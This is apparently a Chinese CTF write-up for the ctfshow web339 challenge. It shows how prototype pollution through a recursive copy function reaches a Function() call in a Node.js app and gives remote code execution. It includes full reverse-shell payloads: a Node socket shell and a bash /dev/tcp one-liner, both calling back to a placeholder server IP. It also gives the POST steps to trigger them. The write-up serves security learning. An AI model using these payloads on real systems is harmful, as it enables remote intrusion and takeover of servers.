node/v10.19.0
题目描述处蓝奏云下载源码
web339.zip
和 web338 有点相似,不过不同点是
var flag='flag_here';
....
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}
flag
是变量,具体值不知
然后还多了个 api.js
,主要关注这行
res.render('api', { query: Function(query)(query)});
是不是和 web338 里的参考链接 PHITHON 师傅出的 Code-Breaking 2018 Thejs 如出一辙?即可以 RCE,因为这里可污染点存在的匿名函数调用
https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L225
仿照题目中的代码,先写个小demo
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)(query)}
为什么 query
的值是 2233
呢?也就是为啥会被调用了呢?
首先看看 query
值是如何被改变的,其实就是通过 web338 的原型链污染,即 JS 中所有的对象的原型都可以继承到 Object
,然后终点是 null
对象
如 web338 中所说的,当在当前上下文找不到相应对象时,会遍历 Object
对象是否存在相应的属性。
到这里就很清楚的知道了,为什么 query
的值是 "return 2233"
,因为在调用 copy
时,原型链被污染了。
至于 { query: Function(query)(query)}
为何为 { query: 2233 }
JS 的函数实际上都是一个 Function
对象,它的参数为
new Function ([arg1[, arg2[, ...argN]],] functionBody)
写个小demo
即 Function
对象传入构造函数里的前面参数是函数的形参,当然可以省略,最后的形参写函数体。
其实作用和 eval
有点类似,详细可以看
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
至此,利用思路明确了,只要污染了 query
对象,就可以执行任意我们想执行的代码,比如反弹个 shell 再获取 flag ~
然后污染点和 web338 一致,在 login.js
里的 utils.copy(user,req.body);
,代码执行的触发点在 api.js
的 res.render('api', { query: Function(query)(query)});
处。
payload ,这里用 nodejs 原生 socket,防止因系统运行环境问题 shell 弹不回来,这里服务器的监听端口为 2233
,然后如何是 windows 系统就把 /bin/sh
换成 cmd.exe
应该就可以了。
{"__proto__": {"query": "return (function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}
先本地试试,这里服务器监听端口为 2233
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__": {"query": "return (function(){var net = require(\'net\'),cp = require(\'child_process\'),sh = cp.spawn(\'/bin/sh\', []);var client = new net.Socket();client.connect(2233, \'服务器IP\', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}');
copy(user, body)
{ query: Function(query)(query)}
ok,没啥大问题。
先 POST 一下 login
接口,污染 query
对象
然后直接 POST 一下 api
接口即可。
emm,发现不行,之后访问 /login
和 /api
接口都是 404 找不到文件
,shell 也反弹不回来。
试试别人的
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}
flag
仔细对比了一下,发现了,感觉是命名空间问题,即 require
可能不被识别,尝试把 require 改为 global.process.mainModule.constructor._load
,同样服务器监听端口为 2233
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}
也是先 POST /login 接口污染 query
对象
访问下 /api 接口
反弹 shell 并获取 flag
然后顺便翻了个链接,好像确实如此~
https://stackoverflow.com/questions/31931614/require-is-not-defined-node-js
因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译。
还有一个其他解,见 web338 中的 ejs
RCE,一样的EXP、步骤和利用方式